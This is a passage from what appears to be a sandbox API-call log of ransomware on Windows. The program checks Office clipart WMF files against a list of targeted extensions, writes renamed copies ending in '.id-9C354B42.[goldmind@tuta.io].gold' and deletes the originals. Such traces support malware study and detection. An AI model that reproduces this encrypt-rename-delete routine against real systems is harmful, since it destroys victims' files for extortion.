returned 4 [0095.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.253] lstrlenW (lpString=".7z") returned 3 [0095.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.253] lstrlenW (lpString=".dbf") returned 4 [0095.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.253] lstrlenW (lpString=".1cd") returned 4 [0095.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.253] lstrlenW (lpString=".jpg") returned 4 [0095.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.254] lstrlenW (lpString=".doc") returned 4 [0095.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.254] lstrlenW (lpString=".docx") returned 5 [0095.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.254] lstrlenW (lpString=".pdf") returned 4 [0095.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.254] lstrlenW (lpString=".xls") returned 4 [0095.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.254] lstrlenW (lpString=".xlsx") returned 5 [0095.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.254] lstrlenW (lpString=".ppt") returned 4 [0095.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.254] lstrlenW (lpString=".zip") returned 4 [0095.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.254] lstrlenW (lpString=".rar") returned 4 [0095.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.254] lstrlenW (lpString=".bz2") returned 4 [0095.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.254] lstrlenW (lpString=".7z") returned 3 [0095.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.254] lstrlenW (lpString=".dbf") returned 4 [0095.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.254] lstrlenW (lpString=".1cd") returned 4 [0095.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.254] lstrlenW (lpString=".jpg") returned 4 [0095.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.254] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.254] lstrlenW (lpString="EN00319_.WMF") returned 12 [0095.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.255] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2280) returned 1 [0095.255] CloseHandle (hObject=0x190) returned 1 [0095.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0095.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.255] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.255] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.256] GetLastError () returned 0x0 [0095.256] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x8e8, lpOverlapped=0x0) returned 1 [0095.258] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x8f0, lpOverlapped=0x0) returned 1 [0095.258] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.259] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.259] SetEndOfFile (hFile=0x3b4) returned 1 [0095.259] CloseHandle (hObject=0x3b4) returned 1 [0095.259] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.259] SetEndOfFile (hFile=0x190) returned 1 [0095.260] CloseHandle (hObject=0x190) returned 1 [0095.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0095.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.261] lstrlenW (lpString=".doc") returned 4 [0095.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.261] lstrlenW (lpString=".docx") returned 5 [0095.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.262] lstrlenW (lpString=".pdf") returned 4 [0095.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString=".xls") returned 4 [0095.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.262] lstrlenW (lpString=".xlsx") returned 5 [0095.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.262] lstrlenW (lpString=".ppt") returned 4 [0095.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.262] lstrlenW (lpString=".zip") returned 4 [0095.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.262] lstrlenW (lpString=".rar") returned 4 [0095.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString=".bz2") returned 4 [0095.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString=".7z") returned 3 [0095.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.262] lstrlenW (lpString=".dbf") returned 4 [0095.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.262] lstrlenW (lpString=".1cd") returned 4 [0095.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.262] lstrlenW (lpString=".jpg") returned 4 [0095.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.262] lstrlenW (lpString=".doc") returned 4 [0095.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString=".docx") returned 5 [0095.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.262] lstrlenW (lpString=".pdf") returned 4 [0095.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString=".xls") returned 4 [0095.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.262] lstrlenW (lpString=".xlsx") returned 5 [0095.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.262] lstrlenW (lpString=".ppt") returned 4 [0095.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.262] lstrlenW (lpString=".zip") returned 4 [0095.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.262] lstrlenW (lpString=".rar") returned 4 [0095.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString=".bz2") returned 4 [0095.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString=".7z") returned 3 [0095.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.262] lstrlenW (lpString=".dbf") returned 4 [0095.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.262] lstrlenW (lpString=".1cd") returned 4 [0095.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0095.263] lstrlenW (lpString=".jpg") returned 4 [0095.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.263] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.263] lstrlenW (lpString="EN00320_.WMF") returned 12 [0095.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.263] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=736) returned 1 [0095.263] CloseHandle (hObject=0x190) returned 1 [0095.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0095.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.264] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.264] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.264] GetLastError () returned 0x0 [0095.264] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2e0, lpOverlapped=0x0) returned 1 [0095.588] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2f0, lpOverlapped=0x0) returned 1 [0095.589] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.589] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.589] SetEndOfFile (hFile=0x3b4) returned 1 [0095.589] CloseHandle (hObject=0x3b4) returned 1 [0095.589] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.589] SetEndOfFile (hFile=0x190) returned 1 [0095.591] CloseHandle (hObject=0x190) returned 1 [0095.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0095.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.592] lstrlenW (lpString=".doc") returned 4 [0095.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString=".docx") returned 5 [0095.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.592] lstrlenW (lpString=".pdf") returned 4 [0095.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString=".xls") returned 4 [0095.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.592] lstrlenW (lpString=".xlsx") returned 5 [0095.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.592] lstrlenW (lpString=".ppt") returned 4 [0095.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.592] lstrlenW (lpString=".zip") returned 4 [0095.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.592] lstrlenW (lpString=".rar") returned 4 [0095.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString=".bz2") returned 4 [0095.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString=".7z") returned 3 [0095.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.592] lstrlenW (lpString=".dbf") returned 4 [0095.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.592] lstrlenW (lpString=".1cd") returned 4 [0095.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.592] lstrlenW (lpString=".jpg") returned 4 [0095.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.592] lstrlenW (lpString=".doc") returned 4 [0095.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString=".docx") returned 5 [0095.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.592] lstrlenW (lpString=".pdf") returned 4 [0095.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString=".xls") returned 4 [0095.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.592] lstrlenW (lpString=".xlsx") returned 5 [0095.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.592] lstrlenW (lpString=".ppt") returned 4 [0095.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.593] lstrlenW (lpString=".zip") returned 4 [0095.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.593] lstrlenW (lpString=".rar") returned 4 [0095.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.593] lstrlenW (lpString=".bz2") returned 4 [0095.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.593] lstrlenW (lpString=".7z") returned 3 [0095.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.593] lstrlenW (lpString=".dbf") returned 4 [0095.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.593] lstrlenW (lpString=".1cd") returned 4 [0095.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0095.593] lstrlenW (lpString=".jpg") returned 4 [0095.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.593] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.593] lstrlenW (lpString="FD00296_.WMF") returned 12 [0095.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.593] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=15856) returned 1 [0095.593] CloseHandle (hObject=0x190) returned 1 [0095.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20 [0095.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.594] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.594] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.597] GetLastError () returned 0x0 [0095.597] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3df0, lpOverlapped=0x0) returned 1 [0095.693] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3e00, lpOverlapped=0x0) returned 1 [0095.694] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.694] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.694] SetEndOfFile (hFile=0x3b4) returned 1 [0095.694] CloseHandle (hObject=0x3b4) returned 1 [0095.694] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.694] SetEndOfFile (hFile=0x190) returned 1 [0095.696] CloseHandle (hObject=0x190) returned 1 [0095.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.746] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0095.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.800] lstrlenW (lpString=".doc") returned 4 [0095.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.800] lstrlenW (lpString=".docx") returned 5 [0095.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.800] lstrlenW (lpString=".pdf") returned 4 [0095.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.800] lstrlenW (lpString=".xls") returned 4 [0095.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.800] lstrlenW (lpString=".xlsx") returned 5 [0095.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.800] lstrlenW (lpString=".ppt") returned 4 [0095.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.800] lstrlenW (lpString=".zip") returned 4 [0095.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.800] lstrlenW (lpString=".rar") returned 4 [0095.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.800] lstrlenW (lpString=".bz2") returned 4 [0095.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.800] lstrlenW (lpString=".7z") returned 3 [0095.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.800] lstrlenW (lpString=".dbf") returned 4 [0095.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.800] lstrlenW (lpString=".1cd") returned 4 [0095.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.800] lstrlenW (lpString=".jpg") returned 